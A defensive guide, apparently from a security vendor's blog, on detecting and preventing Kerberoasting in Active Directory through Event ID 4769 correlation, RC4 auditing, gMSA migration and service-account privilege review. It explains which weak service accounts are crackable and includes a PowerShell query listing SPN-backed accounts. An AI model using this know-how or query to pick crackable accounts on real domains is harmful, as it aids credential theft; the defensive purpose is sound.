Kerberoasting Detection and Prevention

Kerberoasting detection prevention starts with a simple fact: any authenticated Active Directory principal that holds a valid TGT can request service tickets for SPNs, and some of those tickets can still be cracked offline if the target service account is weak enough. The hard part is not understanding the attack name. The hard part is proving which SPN-backed accounts in your domain are still realistically exploitable, which telemetry is actually useful, and which remediation steps measurably reduce the risk without breaking production.

What Is Kerberoasting?

Kerberoasting is the abuse of Kerberos service ticket issuance to obtain ticket material that can be cracked offline against the secret of a service account. MITRE tracks this behavior as T1558.003 Kerberoasting.

In Active Directory, Kerberos uses Service Principal Names (SPNs) to associate a service instance with the account that runs it. Microsoft documents SPNs as the identifier Kerberos uses to locate a target principal for a service. When a client requests a Kerberos service ticket for that SPN, the ticket is generated for the service account that owns it.

That does not mean every account with an SPN is equally dangerous. Real exposure depends on four things:

Whether the account is backed by a user-managed password or a better-managed service identity
Whether the account secret is old, predictable, or never rotated
Which Kerberos encryption types are actually being used for ticket issuance
What access the account has if its credentials are eventually recovered

This is why Kerberoasting is not just a Kerberos problem. It is a service-account hygiene problem, an encryption-policy problem, and often a privilege-governance problem at the same time.

Why Kerberoasting Still Matters in Active Directory

Kerberoasting still matters because many domains still carry a long tail of legacy service accounts:

User-backed service accounts created years ago
Accounts with PasswordNeverExpires
Accounts whose passwords were set once and then forgotten
Accounts that still rely on RC4 for compatibility
Accounts that quietly accumulated local admin, backup, SQL, orchestration, or delegated rights over time

That combination is what makes the technique practical. The Kerberos request path is legitimate. The offline cracking happens away from the domain. The blast radius depends on what the service account can do afterward.

This also explains why Active Directory password security and stale privileged accounts matter so much here. A service ticket by itself is not the goal. The goal is to recover a credential that opens a larger privilege path.

Preconditions for a Real Kerberoasting Exposure

A Kerberoasting finding deserves priority when most of the following are true:

The account has one or more SPNs registered
The account is backed by a human-managed password instead of a managed service identity
The password is old, rarely rotated, or exempt from expiry
RC4 is still in use or still accepted where stronger encryption should already be present
The account has meaningful lateral-movement or privilege-escalation value
The environment does not routinely review SPN inventory and service-account ownership

Microsoft’s documentation on msDS-SupportedEncryptionTypes matters directly here. The KDC uses that information while generating a service ticket for the account. Microsoft’s current Kerberos guidance also notes that RC4 is insecure, is being phased out, and should be audited and remediated where stronger encryption types are available.

That is the operational difference between a noisy inventory item and a real Kerberoasting exposure. A low-value SPN account with a long, random, recently rotated secret is not the same problem as a user-backed SQL service account that still uses RC4 and holds broad server access.

How Kerberoasting Works

Microsoft documents SPNs as the way Kerberos associates a service instance with the account that signs in for that service. In practice, this means a domain principal with a valid TGT can request a TGS for a service account that has an SPN.

MITRE describes Kerberoasting as obtaining a TGS ticket that may be vulnerable to brute force. The reason defenders care is that the cracking happens offline. Once the ticket material has been collected, the attacker no longer needs continuous interaction with the domain to test password guesses.

The key defensive points are:

The request path itself is legitimate Kerberos traffic
The ticket is tied to the service account secret, not to an interactive user session on the target host
The practical exploitability depends on encryption type and password strength
The business impact depends on the service account’s privileges after compromise

So the right question is not “can Kerberoasting happen in this domain?” The right question is “which SPN-backed accounts remain crackable enough to matter, and what would they unlock if recovered?”

Kerberoasting Detection Prevention: What defenders should actually review

Kerberoasting detection should be built as correlation, not as a single-event theory.

Start with Event ID 4769

Microsoft documents 4769 as the event generated when the KDC issues a Kerberos service ticket request. It is logged on domain controllers. For Kerberoasting review, it is usually the most useful native event because it captures the TGS request path directly.

What to look for:

A burst of TGS requests from one account or source over a short period
Requests for many distinct SPNs that do not match the requestor’s normal behavior
TicketEncryptionType = 0x17 only when RC4 should no longer be needed in that environment
SPN requests originating from workstations or users that do not normally interact with those services

Microsoft’s current Kerberos RC4 guidance explicitly recommends auditing RC4 usage in events 4768 and 4769, and explains that RC4 is being phased out. That makes RC4 telemetry useful, but only in context. RC4 alone is not proof of Kerberoasting. In some domains it still indicates a compatibility problem rather than hostile use.

Use Event ID 4768 as supporting context

4768 documents TGT issuance, not the service-ticket request that Kerberoasting relies on. It should be treated as supporting context rather than the main detector.

Use it to help answer questions such as:

Which account obtained the TGT that preceded unusual TGS activity?
Which source systems are involved?
When available in the newer event schema, what do the account and service encryption fields suggest about supported keys and fallback behavior?

That is useful correlation context when you are investigating an unusual 4769 cluster. It is not a replacement for 4769.

Inventory SPN-backed accounts continuously

Detection quality improves sharply if you maintain a standing inventory of:

Accounts with SPNs
Password age
PasswordNeverExpires
Whether the account is a classic user account or a managed service identity
Effective privileges and local-admin reach
Encryption-type posture where it is relevant to your environment

A simple defensive inventory review can be enough to surface high-risk candidates before any suspicious traffic is even investigated.

Get-ADUser -LDAPFilter "(servicePrincipalName=*)" -Properties servicePrincipalName,pwdLastSet,PasswordNeverExpires,msDS-SupportedEncryptionTypes |
  Select-Object SamAccountName,ServicePrincipalName,PasswordNeverExpires,pwdLastSet,msDS-SupportedEncryptionTypes

The point is not to collect every SPN and panic. The point is to identify which accounts combine SPN exposure, weak secret hygiene, and meaningful privilege.

Treat baselining as mandatory

A strong Kerberoasting detection posture requires a baseline for normal service-ticket patterns. That means:

Which hosts usually request tickets for which services
Which service accounts are routinely accessed in bulk because of real application behavior
Which admin tools, scanners, or management platforms legitimately generate broad service-ticket activity

Without that baseline, “many 4769 events” is not a detection strategy. It is only a starting point.

Prevention and Hardening

Kerberoasting prevention is mostly the discipline of making SPN-backed service accounts bad cracking targets and bad privilege-escalation targets.

1. Reduce user-backed service accounts where possible

Microsoft documents group Managed Service Accounts (gMSA) as managed domain accounts that provide automatic password management and simplified SPN management, including across multiple servers.

That does not make a gMSA magically outside Kerberos. It does make it a much better defensive default than a hand-managed user account whose password has been unchanged for years.

Where the platform supports it, moving eligible services from classic user-backed service accounts to gMSAs is one of the most useful preventive controls you can apply.

2. Rotate legacy service-account passwords

Microsoft’s RC4 remediation guidance notes that older accounts may be missing AES keys if their password was never reset after modern Kerberos support was introduced. That matters because password resets do more than change the secret. They can also refresh the account’s usable key material.

For legacy service accounts that cannot yet move to gMSA:

rotate the password
make it long and random
verify the service still runs cleanly afterward
document ownership so the account does not become “shared technical debt” again

3. Reduce RC4 carefully, not blindly

Microsoft now explicitly documents RC4 as insecure, being phased out, and worth auditing through Kerberos telemetry. It also documents concrete ways to limit or disable RC4, including policy control for allowed Kerberos encryption types.

The correct takeaway is not “disable RC4 everywhere instantly.” The correct takeaway is:

identify where RC4 is still used
determine whether the dependency is real or just unmaintained configuration
move eligible accounts and hosts to AES-capable settings
monitor for authentication failures during rollout

Microsoft’s own guidance warns that disabling RC4 can break legacy dependencies if you have not validated them first. That caveat belongs in every serious Kerberoasting hardening plan.

4. Review the privileges behind the service account

Prevention is incomplete if you only improve the password and ignore the privileges.

Review whether the service account has:

local admin on many servers
delegated rights in AD
backup, orchestration, or deployment privileges
high-value database or file access
implicit paths into dangerous group nesting or privileged access drift

A hardened service account with an oversized privilege footprint still turns credential recovery into a major incident.

5. Clean up SPNs that no longer represent real services

Microsoft documents that setspn is used to read, add, remove, and query SPNs. That matters operationally because stale or duplicate SPNs are not just hygiene issues. They confuse ownership and inflate the review surface.

If an SPN no longer backs a real service, remove it. If an application no longer needs a user-backed identity, retire the account rather than carrying it indefinitely.

Validation After Remediation

A Kerberoasting remediation is not complete when a password was rotated once or a ticket type changed in a lab. Validation should prove that the production exposure actually moved.

Keep a minimum evidence pack such as:

Evidence	Why it matters
Current inventory of SPN-backed accounts	Confirms review scope and ownership
Password age / expiry posture for service accounts	Shows whether crackable legacy accounts were actually remediated
Managed-vs-user-backed service account classification	Proves where gMSA migration reduced manual password risk
Kerberos event baseline for 4769	Confirms detection logic after changes
RC4 usage review with exceptions recorded	Distinguishes accepted legacy dependencies from unowned drift
Privilege review for high-value service accounts	Shows whether blast radius was reduced, not just the password issue

The validation questions should be concrete:

Which critical SPN accounts still rely on manually managed passwords?
Which ones still show old password age or expiry exemptions?
Which services still require RC4, and who signed off on that dependency?
Which accounts would still create material lateral movement if recovered?
Did the domain’s 4769 baseline materially improve after the remediation work?

That is the difference between “we changed some service-account passwords” and “we measurably reduced Kerberoasting risk.”

How EtcSec Detects Kerberoasting Risk

EtcSec should describe conditions that make Kerberoasting practical, not pretend to prove a live attack from one event.

The core finding is KERBEROASTING_RISK, which is useful when an account has an SPN and still presents one or more traits that make offline cracking materially more realistic.

Context findings that increase priority include:

PASSWORD_NEVER_EXPIRES
PASSWORD_POLICY_WEAK
KERBEROS_RC4_FALLBACK

Used together, these checks help structure a repeatable review of:

which service accounts are exposed
which ones remain weak enough to matter
which ones sit on meaningful privilege paths
which ones still need remediation evidence after changes

Kerberoasting should be reviewed alongside adjacent identity controls that often amplify the same compromise path:

AS-REP Roasting, because both techniques turn Kerberos material into offline cracking risk
Active Directory password security, because password quality and rotation hygiene determine exploitability
Stale privileged accounts, because forgotten accounts often own the most dangerous SPNs
Kerberos delegation attacks, because service identities often overlap with delegation exposure
Audit Active Directory security, because Kerberoasting is one review item inside a wider AD evidence workflow
Active Directory monitoring event IDs, because 4769 only becomes useful when event collection and baselining are in place

Kerberoasting Detection Prevention Guide: How to Find and Protect Crackable Service Accounts

What Is Kerberoasting?

Why Kerberoasting Still Matters in Active Directory

Preconditions for a Real Kerberoasting Exposure

How Kerberoasting Works